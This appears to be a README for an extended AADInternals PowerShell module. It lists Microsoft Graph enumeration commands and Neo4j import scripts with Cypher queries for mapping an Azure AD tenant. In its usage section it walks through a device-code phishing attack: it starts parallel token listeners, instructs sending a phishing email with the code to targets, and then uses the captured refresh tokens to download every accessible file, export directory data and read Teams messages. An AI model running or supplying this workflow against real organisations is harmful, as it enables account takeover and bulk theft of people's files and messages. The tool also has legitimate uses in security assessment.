AADInternals is PowerShell module for administering Azure AD and Office 365
For details, please visit https://aadinternals.com/aadinternals
Run the following PowerShell command to install
Install-Module AADInternals
Reload the module after any modification to the code :
Import-Module .\AADInternals -Force # outside the repository.
If you add new function you have to add them in AADInternals.psd1
before importing the module.
Use the flag -Verbose
to show debug informations written with Write-Verbose
.
Get-AccessTokenFromCacheRefreshToken
Get-MSGraphProvisioningEvents
Get-MSGraphPersonalUser
Get-MSGraphPersonalJoinedTeams
Get-MSGraphPersonalPeople
Get-MSGraphPersonalShared
Get-MSGraphPersonalTrending
Get-MSGraphPersonalUsed
Get-MSGraphPersonalMemberOf
Get-MSGraphPersonalDirectReports
Get-MSGraphPersonalManager
Get-MSGraphPersonalRegisteredDevices
Get-MSGraphPersonalScopeRoleMembership
Get-MSGraphPersonalRootFolder
Get-MSGraphPersonalDriveItems
Get-MSGraphPersonalDriveItemsContent
Get-MSGraphPersonalAuthenticationMethods
Get-MSGraphPersonalFIDO2AuthenticationMethods
Get-MSGraphPersonalMicrosoftAuthenticatorAuthenticationMethods
Get-MSGraphPersonalWindowsHelloForBusinessAuthenticationMethods
Get-MSGraphPersonalTemporaryAccessPassAuthenticationMethods
Get-MSGraphGroups
Get-MSGraphGroupsWithTeam
Get-MSGraphGroupMembers
Get-MSGraphGroupOwners
Get-MSGraphGroupConversations
Get-MSGraphGroupPermissionGrants
Get-MSGraphGroupDrives
Get-MSGraphGroupRootFolder
Get-MSGraphGroupDriveItems
Get-MSGraphGroupDriveItemsContent
Get-MSGraphGroupsDriveItemsContent
Get-MSGraphDrive
Get-MSGraphRoles
Get-MSGraphRoleScopedMembers
Get-MSGraphApplications
Get-MSGraphApplication
Get-MSGraphApplicationOwners
Get-MSGraphApplicationTokenIssuancePolicies
Get-MSGraphApplicationTokenLifetimePolicies
Get-MSGraphUser
Get-MSGraphUsers
Get-MSGraphJoinedTeams
Get-MSGraphPeople
Get-MSGraphShared
Get-MSGraphSharedResource
Get-MSGraphTrending
Get-MSGraphUsed
Get-MSGraphUsedResource
Get-MSGraphUserMemberOf
Get-MSGraphUserTransitiveMemberOf
Get-MSGraphUserDirectReports
Get-MSGraphUserManager
Get-MSGraphUserAppRoleAssignments
Get-MSGraphUserAuthenticationMethods
Get-MSGraphUserFIDO2AuthenticationMethods
Get-MSGraphUserMicrosoftAuthenticatorAuthenticationMethods
Get-MSGraphUserWindowsHelloForBusinessAuthenticationMethods
Get-MSGraphUserTemporaryAccessPassAuthenticationMethods
Get-MSGraphRegisteredDevices
Get-MSGraphScopeRoleMembership
Get-MSGraphDirectoryRoleDefinitions
Get-MSGraphEntitlementManagementRoleDefinitions
Get-MSGraphDirectoryRoleDefinition
Get-MSGraphEntitlementManagementRoleDefinition
Get-MSGraphDirectoryRoleAssignments
Get-MSGraphEntitlementManagementRoleAssignments
Get-MSGraphDirectoryRoleAssignmentScheduleRequests
Get-MSGraphDirectoryRoleAssignmentSchedules
Get-MSGraphDirectoryRoleAssignmentScheduleInstances
Get-MSGraphRoleManagementPolicies
Get-MSGraphTeam
Get-MSGraphTeamMembers
Get-MSGraphDeletedGroups
Get-MSGraphDeletedApplications
Get-MSGraphDeletedServicePrincipals
Get-MSGraphDeletedUsers
Get-MSGraphDeletedDevices
Get-MSGraphDeletedItem
Get-MSGraphIdentityProviders
Get-MSGraphIdentityProvider
Get-MSGraphAvailableProviderTypes
Get-MSGraphSamlOrWsFedExternalDomainFederation
Get-MSGraphSamlOrWsFedExternalDomainFederationDomains
Get-MSGraphRiskyUsers
Get-MSGraphRiskyUsersHistory
Get-MSGraphRiskDetections
Get-MSGraphDelegatedPermissionGrants
Get-MSGraphDelegatedPermissionGrant
Get-MSGraphServicePrincipals
Get-MSGraphServicePrincipal
Get-MSGraphServicePrincipalCreatedObjects
Get-MSGraphServicePrincipalOwnedObjects
Get-MSGraphServicePrincipalAppRoleAssignments
Get-MSGraphServicePrincipalAppRoleAssignedTo
Get-MSGraphServicePrincipalDelegatedPermissionClassifications
Get-MSGraphServicePrincipalPermissionGrants
Get-MSGraphServicePrincipalMemberOf
Get-MSGraphServicePrincipalTransitiveMemberOf
Get-MSGraphServicePrincipalOwners
Get-MSGraphServicePrincipalClaimsMappingPolicies
Get-MSGraphServicePrincipalHomeRealmDiscoveryPolicies
Get-MSGraphConditionalAccessPolicies
Get-MSGraphCrossTenantAccessPolicy
Get-MSGraphCrossTenantAccessPolicyDefault
Get-MSGraphCrossTenantAccessPolicyPartners
Get-MSGraphDomains
Get-MSGraphDomain
Get-MSGraphDomainNameReferences
Get-MSGraphDomainServiceConfigurationRecords
Get-MSGraphDomainVerificationDNSRecords
Get-MSGraphOrganization
Get-MSGraphOrganizationalContacts
Get-MSGraphOrganizationalContact
Get-MSGraphOrganizationalContactDirectReports
Get-MSGraphOrganizationalContactMemberOf
Get-MSGraphOrganizationalContactManager
Get-MSGraphContracts
Get-MSGraphFiles
Export-AzureADToCSV
ConvertTo-User
ConvertTo-Shared
ConvertTo-People
ConvertTo-Team
ConvertTo-TeamMember
ConvertTo-JoinedTeam
ConvertTo-Role
ConvertTo-Group
ConvertTo-GroupRootDrive
ConvertTo-GroupDrive
ConvertTo-GroupDriveItem
ConvertTo-GroupDriveItemContent
ConvertTo-DirectoryAuditLog
ConvertTo-DirectoryAuditLogTargetResource
ConvertTo-DirectoryAuditLogTargetResourceModifiedProperties
ConvertTo-ServicePrincipals
ConvertTo-ServicePrincipalsAppRoles
ConvertTo-ServicePrincipalsPermissionScopes
ConvertTo-ServicePrincipalAppRoleAssignedTo
Consult the functions' documentation for usage examples.
Install PowerShell 7 to be able to use the -Parallel
flag:
winget install --id Microsoft.Powershell --source winget
.
Launch 3 privileged tokens listener (in a PowerShell 7 prompt):
## See Get-AccessTokenForAzureCoreManagement
1..3 | ForEach-Object -Parallel { Import-Module .\AADInternals -Force; Get-AADIntAccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -UseDeviceCode $true -IncludeRefreshToken $true }
Then send a phishing email to the target with the given code. You'll receive the access and refresh tokens as soon as any target gives you access. The command returns when you get the token from all the targets or when the timer exceeds.
TODO : the device code is expired after 15 minutes. Create a button in the mail to renew the device code (send a new mail with the new one).
Import-Module .\AADInternals -Force
# get a privileged token to be able to access other services
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache -UseDeviceCode
# get a token for the graph API using the privileged token
Get-AADIntAccessTokenFromCacheRefreshToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -NewResource "https://graph.microsoft.com" -SaveToCache
# set the access token parameter
$AccessToken = Get-AADIntAccessTokenFromCache -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# get all the groups files' download URLs (shared documents in any channels)
# The items returned by Get-MSGraphPersonalDriveItemsContent don't appear.
$data = Get-AADIntMSGraphGroupsDriveItemsContent -AccessToken $AccessToken
$data.'@microsoft.graph.downloadUrl'
# get all the current user files' download URLs
$data = Get-AADIntMSGraphPersonalDriveItemsContent -AccessToken $AccessToken
$data.'@microsoft.graph.downloadUrl'
# download all the accessible files in .\Files\
Get-AADIntMSGraphFiles -AccessToken $AccessToken -Destination .\Files\
# export all the accessible data in .\Files\
Export-AADIntAzureADToCSV -AccessToken $AccessToken -Directory .\Files\
# get a token for the skype API using the privileged token
Get-AADIntAccessTokenFromCacheRefreshToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -NewResource "https://api.spaces.skype.com" -SaveToCache
# set the access token parameter
$AccessToken = Get-AADIntAccessTokenFromCache -Resource "https://api.spaces.skype.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# get all the teams messages
Get-AADIntTeamsMessages -AccessToken $AccessToken
Using a privileged token :
# get the privileged token, we'll use it's ClientId for requesting new tokens
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache -UseDeviceCode
# get the Resource and ClientId from the cache
Get-AADIntCache
# request a token for teams and save it to the cache
Get-AADIntAccessTokenFromCacheRefreshToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -NewResource "https://api.spaces.skype.com" -SaveToCache
# set the access token parameter
$AccessToken = Get-AADIntAccessTokenFromCache -Resource "https://api.spaces.skype.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# use the teams token
Get-AADIntTeamsMessages -AccessToken $AccessToken
# get a privileged token to be able to access other services
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache -UseDeviceCode
# get a token for the graph API using the privileged token
Get-AADIntAccessTokenFromCacheRefreshToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -NewResource "https://graph.microsoft.com" -SaveToCache
# set the access token parameter
$AccessToken = Get-AADIntAccessTokenFromCache -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# get the current user groups, directory roles, and administrative units
Get-AADIntMSGraphPersonalMemberOf -AccessToken $AccessToken
# get the users ids
$(Get-AADIntMSGraphUsers -AccessToken $AccessToken).id
# get an user groups, directory roles, and administrative units
Get-AADIntMSGraphUserMemberOf -AccessToken $AccessToken -UserId 64d999db-fc15-459c-bccf-5fa5908557aa
# get the users having a specific role
Get-AADIntMSGraphRoleMembers -AccessToken $AccessToken -RoleId 40edd42d-2b58-4f1b-a628-d99eac621948
# get a privileged token to be able to access other services
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache -UseDeviceCode
# get a token for the graph API using the privileged token
Get-AADIntAccessTokenFromCacheRefreshToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -NewResource "https://graph.microsoft.com" -SaveToCache
# set the access token parameter
$AccessToken = Get-AADIntAccessTokenFromCache -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# get the user identifier
Get-AADIntMSGraphUsers -AccessToken $AccessToken
# get the teams joined by an user, if the user is an unprivileged user you get (403) Forbidden
Get-AADIntMSGraphJoinedTeams -AccessToken $AccessToken -UserId 64d999db-fc15-459c-bccf-5fa5908557aa
# get the people linked to the user
Get-AADIntMSGraphPeople -AccessToken $AccessToken -UserId 64d999db-fc15-459c-bccf-5fa5908557aa
# get the documents shared by the user (supported only for the current user for now)
Get-AADIntMSGraphShared -AccessToken $AccessToken -UserId 64d999db-fc15-459c-bccf-5fa5908557aa | Format-List
# get a privileged token to be able to access other services
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache -UseDeviceCode
# get a token for the graph API using the privileged token
Get-AADIntAccessTokenFromCacheRefreshToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -NewResource "https://graph.microsoft.com" -SaveToCache
# set the access token parameter
$AccessToken = Get-AADIntAccessTokenFromCache -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# get the group identifier
Get-AADIntMSGraphGroups -AccessToken $AccessToken
# get the group members
Get-AADIntMSGraphGroupMembers -AccessToken $AccessToken -GroupId aa9ea6fd-6b09-4b70-9ba6-34551068a8d0
# get the group owner
Get-AADIntMSGraphGroupOwners -AccessToken $AccessToken -GroupId aa9ea6fd-6b09-4b70-9ba6-34551068a8d0
# get a privileged token to be able to access other services
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache -UseDeviceCode
# get a token for the graph API using the privileged token
Get-AADIntAccessTokenFromCacheRefreshToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -NewResource "https://graph.microsoft.com" -SaveToCache
# set the access token parameter
$AccessToken = Get-AADIntAccessTokenFromCache -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# get the group identifier
Get-AADIntMSGraphGroupsWithTeam -AccessToken $AccessToken
# get the teams information. it return (404) Not Found if the group is not a team.
Get-AADIntMSGraphTeam -AccessToken $AccessToken -GroupId aa9ea6fd-6b09-4b70-9ba6-34551068a8d0
# returns the Resource and ClientId strings for querying the token value
Get-AADIntCache
# get a teams access token
Get-AADIntAccessTokenFromCache -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -IncludeRefreshToken
If an access token is returned, scope
lists the scopes the access token is valid for.
It is not related to the user's permissions. Any user (guest, member or admin) has the same scope for a given resource.
For instance scope with Get-AADIntAccessTokenForMSGraph -SaveToCache -UseDeviceCode
.
scope : Agreement.Read.All Agreement.ReadWrite.All AgreementAcceptance.Read AgreementAcceptance.Read.All AuditLog.Read.All Directory.AccessAsUser.All Directory.ReadWrite.All Group.ReadWrite.All IdentityProvider.ReadWrite.All Policy.ReadWrite.TrustFramework PrivilegedAccess.ReadWrite.AzureAD PrivilegedAccess.ReadWrite.AzureADGroup PrivilegedAccess.ReadWrite.AzureResources TrustFrameworkKeySet.ReadWrite.All User.Invite.All
Device code flow with resource-based permissions.
The Microsoft identity platform supports two types of permissions: delegated permissions and application permissions.
-
Delegated permissions are used by apps that have a signed-in user present. For these apps, either the user or an administrator consents to the permissions that the app requests. The app is delegated with the permission to act as a signed-in user when it makes calls to the target resource.
Some delegated permissions can be consented to by nonadministrators. But some high-privileged permissions require administrator consent.
-
Application permissions are used by apps that run without a signed-in user present, for example, apps that run as background services or daemons. Only an administrator can consent to application permissions.
Effective permissions are the permissions that your app has when it makes requests to the target resource. It's important to understand the difference between the delegated permissions and application permissions that your app is granted, and the effective permissions your app is granted when it makes calls to the target resource.
-
For delegated permissions, the effective permissions of your app are the least-privileged intersection of the delegated permissions the app has been granted (by consent) and the privileges of the currently signed-in user. Your app can never have more privileges than the signed-in user.
Within organizations, the privileges of the signed-in user can be determined by policy or by membership in one or more administrator roles.
For example, assume your app has been granted the User.ReadWrite.All delegated permission. This permission nominally grants your app permission to read and update the profile of every user in an organization. If the signed-in user is a global administrator, your app can update the profile of every user in the organization. However, if the signed-in user doesn't have an administrator role, your app can update only the profile of the signed-in user. It can't update the profiles of other users in the organization because the user that it has permission to act on behalf of doesn't have those privileges.
-
For application permissions, the effective permissions of your app are the full level of privileges implied by the permission. For example, an app that has the User.ReadWrite.All application permission can update the profile of every user in the organization.
- Configuring optional claims
- Microsoft identity platform and the OAuth 2.0 device authorization grant flow
- Microsoft identity platform access tokens
- Guest, User, Admin
- Permissions reference
- Scopes and permissions
- Permission types
- Admin-restricted permissions
- Compare member and guest default permissions
- Least privileged roles by task in Azure Active Directory
- team resource type, teamVisibilityType
After exporting all available data in CSV format, it is possible to import them directly into a Neo4j database for easy visualization of the target infrastructure. Below is the resulting node and relationship diagram :
The easiest way is to export everything :
# export all the accessible data in .\Files\
Export-AADIntAzureADToCSV -AccessToken $AccessToken -Directory .\Files\
Otherwise you can choose specific data to export :
Get-AADIntMSGraphUsers -AccessToken $AccessToken |
ConvertTo-AADIntUser |
Export-Csv -NoTypeInformation -Path users.csv -Encoding UTF8
Get-AADIntMSGraphTeam -AccessToken $AccessToken -GroupId aa9ea6fd-6b09-4b70-9ba6-34551068a8d0 |
ConvertTo-AADIntTeam |
Export-Csv -NoTypeInformation -Path team.csv -Encoding UTF8
Get-AADIntMSGraphTeamMembers -AccessToken $AccessToken -GroupId aa9ea6fd-6b09-4b70-9ba6-34551068a8d0 |
ConvertTo-AADIntTeamMember |
Export-Csv -NoTypeInformation -Path team_members.csv -Encoding UTF8
# Get-AADIntMSGraphJoinedTeams -UserId ""
Get-AADIntMSGraphPersonalJoinedTeams -AccessToken $AccessToken |
ConvertTo-AADIntJoinedTeam |
Export-Csv -NoTypeInformation -Path personal_joinedteams.csv -Encoding UTF8
# Get-AADIntMSGraphShared -UserId ""
Get-AADIntMSGraphPersonalShared -AccessToken $AccessToken |
ConvertTo-AADIntShared |
Export-Csv -NoTypeInformation -Path personal_shared.csv -Encoding UTF8
# Get-AADIntMSGraphPeople -UserId ""
Get-AADIntMSGraphPersonalPeople -AccessToken $AccessToken |
ConvertTo-AADIntPeople |
Export-Csv -NoTypeInformation -Path personal_people.csv -Encoding UTF8
# Get-AADIntMSGraphUser -UserId ""
# Get-AADIntMSGraphPersonalUser
# Get-AADIntMSGraphGroupOwners -GroupId ""
# Get-AADIntMSGraphRoleMembers -RoleId ""
Get-AADIntMSGraphGroupMembers -AccessToken $AccessToken -GroupId 2c150da4-603f-4348-a886-624f8aaf4b49 |
ConvertTo-AADIntUser |
Export-Csv -NoTypeInformation -Path group_members.csv -Encoding UTF8
# Get-AADIntMSGraphGroups, @odata.type not present
# Get-AADIntMSGraphUserMemberOf -UserId ""
# Get-AADIntMSGraphUserTransitiveMemberOf -UserId ""
Get-AADIntMSGraphPersonalMemberOf -AccessToken $AccessToken |
ConvertTo-AADIntGroup |
Export-Csv -NoTypeInformation -Path personal_memberof.csv -Encoding UTF8
# Get-AADIntMSGraphGroupRootFolder -GroupId ""
Get-AADIntMSGraphPersonalRootFolder -AccessToken $AccessToken |
ConvertTo-AADIntGroupRootDrive |
Export-Csv -NoTypeInformation -Path personal_rootfolder.csv -Encoding UTF8
Get-AADIntMSGraphGroupDrives -GroupId "aa9ea6fd-6b09-4b70-9ba6-34551068a8d0" -AccessToken $AccessToken |
ConvertTo-AADIntGroupDrive |
Export-Csv -NoTypeInformation -Path group_drives.csv -Encoding UTF8
# Get-AADIntMSGraphGroupDriveItems -GroupId "" -DriveId ""
Get-AADIntMSGraphPersonalDriveItems -DriveId "017F7BVQF6Y2GOVW7725BZO354PWSELRRZ" -AccessToken $AccessToken |
ConvertTo-AADIntGroupDriveItem |
Export-Csv -NoTypeInformation -Path personal_driveitems.csv -Encoding UTF8
# Get-AADIntMSGraphGroupDriveItemsContent -GroupId ""
# Get-AADIntMSGraphGroupsDriveItemsContent
# Get-AADIntMSGraphSharedResource -SharedInsightId ""
Get-AADIntMSGraphPersonalDriveItemsContent -AccessToken $AccessToken |
ConvertTo-AADIntGroupDriveItemContent |
Export-Csv -NoTypeInformation -Path personal_driveitemscontent.csv -Encoding UTF8
When the CSV files are generated, it is necessary to place them in the import folder of Neo4j - /var/lib/neo4j/import
for instance. See File locations for more informations.
You'll need to install apoc
to be able to clear the database. See APOC Core Installation. Then you'll have to set dbms.security.procedures.unrestricted=apoc.*
in /etc/neo4j/neo4j.conf
.
Use the bash script import.sh
. Execute first with --setup-database
to create the indexes and constraints.
./import.sh -u <username> -p <password> --setup-database --import
Import CSV files extracted from AADInternals into Neo4j
usage: ./import.sh --username string --password string [--directory cypher/ --setup-database --clear-database]
--username,-u string username of the Neo4j database
--password,-p string password of the Neo4j database
--directory,-d string (Optional) directory with the .cypher scripts
--import (Optional) import all the files into the database
--setup-database (Optional) create the indexes and constraints
--clear-database (Optional) clear the database content, indexes and constraints
If you are seeing relationships in the Neo4j browser you can turn off "Auto-Complete" - look in the bottom right for the toggle. By default relationships between nodes returned in the browser are shown in the visual, even if not returned in the query.
// Return all the drives tree
MATCH p=(:Folder {name: "root"})-[:IS_IN]->(:Drive)
MATCH q=(:Folder)-[:IS_IN]->(:Folder)
MATCH r=(:File)-[:IS_IN]->(:Folder)
RETURN p, q, r LIMIT 100
// Return the drives tree of a specific group
MATCH p=(g:Group {displayName: "TEST1"})-[:HAS_DRIVE]->(:Drive)<-[:IS_IN]-(rootFolder:Folder {name: "root"})
OPTIONAL MATCH (g)-[:HAS_FOLDER]->(f1:Folder)-[r1:IS_IN]->(f2:Folder)
OPTIONAL MATCH (g)-[:HAS_FILE]->(f3:File)-[r2:IS_IN]->(f4:Folder)
RETURN p, f1, r1, f2, f3, r2, f4 LIMIT 100
// Return the drives that are not linked to any group (like the personal drive)
MATCH (d:Drive)
WHERE NOT (:Group)-[:HAS_DRIVE]-(d)
RETURN d
// Return all the files of an user or a group
MATCH p=()-[:HAS_FILE]->(:File)
RETURN p LIMIT 50
// Return the files created after a specific date
// The same can be done for the nodes :
// - Group (createdDateTime, renewedDateTime, expirationDateTime)
// - Team (createdDateTime)
// - AuditLog (activityDateTime)
// - User (onPremisesLastSyncDateTime, refreshTokensValidFromDateTime, signInSessionsValidFromDateTime)
// - File (createdDateTime, lastModifiedDateTime)
// - Folder (createdDateTime, lastModifiedDateTime)
// - Drive (createdDateTime, lastModifiedDateTime)
// - Shared (sharedDateTime)
// - Role (deletedDateTime)
// - ServicePrincipal (deletedDateTime, createdDateTime, verifiedPublisherAddedDateTime)
// - TeamMember (visibleHistoryStartDateTime)
// and the relationships :
// - ASSIGNED_TO (createdDateTime)
WITH datetime({year: 2022, month: 6, day: 1}) AS limitDate
MATCH (f:File) WHERE f.createdDateTime >= limitDate
RETURN f
// Return all the users role
MATCH p=(:User)-[:HAS_ROLE]->(:Role)
RETURN p LIMIT 50
// Return the users having shared a document
MATCH p=(:File)-[:IS_SHARED]->(:Shared)
MATCH q=(:User)-[:HAS_SHARED]->(:Shared)
RETURN p, q LIMIT 50
// Return the joined teams
MATCH p=(:User)-[:JOINED_TEAM]->(:Team)
RETURN p LIMIT 50
// Return the teams owner
MATCH p=(:TeamMember {roles: "owner"})-[:BELONGS_TO]->(:Team)
RETURN p LIMIT 50
// Return the teams user count
MATCH (t:Team)
RETURN
t.summaryGuestsCount as guestsCount,
t.summaryMembersCount as membersCount,
t.summaryOwnersCount as ownersCount LIMIT 50
// Return the groups with a team
MATCH p=(:Group)-[:HAS_TEAM]->(:Team)
RETURN p LIMIT 50
// Return the group owners
MATCH p=(:User)-[:OWNS]->(:Group)
RETURN p LIMIT 50
// Return the users related to someone with a relevance score higher than 7
MATCH p=(:User {displayName: "Nicolas"})-[r:RELATED_TO]->(:User)
WHERE r.relevanceScore > 7.0
RETURN p LIMIT 25
// Return the groups related to someone with a relevance score higher than 7
MATCH p=(:User {displayName: "Nicolas"})-[r:RELATED_TO]->(:Group)
WHERE r.relevanceScore > 7.0
RETURN p LIMIT 25
// Return the documents created by an user
MATCH p=()-[:CREATED_BY]->(:User {displayName: "Support"})
RETURN p LIMIT 25
// Return the documents created by an application
MATCH p=()-[:CREATED_BY]->(:Application)
RETURN p LIMIT 25
// Return the documents last modified by an user
MATCH p=()-[:LAST_MODIFIED_BY]->(:User {displayName: "Support"})
RETURN p LIMIT 25
// Return the documents last modified by an application
MATCH p=()-[:LAST_MODIFIED_BY]->(:Application)
RETURN p LIMIT 25
// Return the target resources of an audit log
MATCH p=(:AuditLog {activityDisplayName: "Add app role assignment grant to user"})-[:TARGET_RESOURCE]->(:AuditLogTargetResource)
RETURN p LIMIT 100
// Return the audit log targeting an user
MATCH p=(:AuditLog)-[:TARGET_RESOURCE]->(:AuditLogTargetResource {type: "User"})
RETURN p LIMIT 100
// Return the audit log targeting a service principal
MATCH p=(:AuditLog)-[:TARGET_RESOURCE]->(:AuditLogTargetResource {type: "ServicePrincipal"})
RETURN p LIMIT 100
// Return a specific audit log target resources modified properties
// "Remove delegated permission grant"
// "Add delegated permission grant"
// "Add app role assignment grant to user"
// "Consent to application"
// "Update user"
MATCH (t:AuditLogTargetResource)<-[r1:TARGET_RESOURCE]-(a:AuditLog {activityDisplayName: "Add app role assignment grant to user"})-[:MODIFIED_PROPERTY]->(m:AuditLogTargetResourceModifiedProperty)
OPTIONAL MATCH (t)-[r2:MODIFIED_PROPERTY]->(m)
RETURN t, r1, a, r2, m LIMIT 200
// Return the audit log initiated by a specific user
MATCH (a:AuditLog {initiatedByUserUserPrincipalName: "[email protected]"})
RETURN a LIMIT 200
// Return the audit log that are not successful
MATCH (a:AuditLog)
WHERE NOT a.result = "success"
RETURN a LIMIT 200
// Return the delegated permissions granted by a specific user
MATCH p=(:User {userPrincipalName: "[email protected]"})-[:GRANTED_PERMISSION]->(:DelegatedPermissionGrant)<-[:HAS_DELEGATED_PERMISSION]-(:ServicePrincipal)
RETURN p LIMIT 200
// Return the application roles and permission scopes of a service principal (application)
MATCH p=(:AppRole)<-[:APPLICATION_ROLE]-(:ServicePrincipal {displayName: "Microsoft Teams Retail Service"})-[:PERMISSION_SCOPE]->(:PermissionScope)
RETURN p LIMIT 200
// Return the tenants, use it before looking for the tenant registered applications
MATCH (t:Tenant) RETURN t LIMIT 25
// Return the application roles assigned to an user
// If the resource application has not declared any app roles, a default app role ID of 00000000-0000-0000-0000-000000000000
// can be specified to signal that the principal is assigned to the resource app without any specific app roles.
// See https://docs.microsoft.com/en-us/graph/api/resources/approleassignment?view=graph-rest-1.0#properties=
MATCH p=(:ServicePrincipal)<-[:ASSIGNED_FOR]-(:AppRoleAssignment)<-[:ASSIGNMENT]-(:AppRole)-[r:ASSIGNED_TO]->(:User)
RETURN p LIMIT 100
// Return the application roles assigned to a group
// If the resource application has not declared any app roles, a default app role ID of 00000000-0000-0000-0000-000000000000
// can be specified to signal that the principal is assigned to the resource app without any specific app roles.
// See https://docs.microsoft.com/en-us/graph/api/resources/approleassignment?view=graph-rest-1.0#properties=
MATCH p=(:ServicePrincipal)<-[:ASSIGNED_FOR]-(:AppRoleAssignment)<-[:ASSIGNMENT]-(:AppRole)-[r:ASSIGNED_TO]->(:Group)
RETURN p LIMIT 100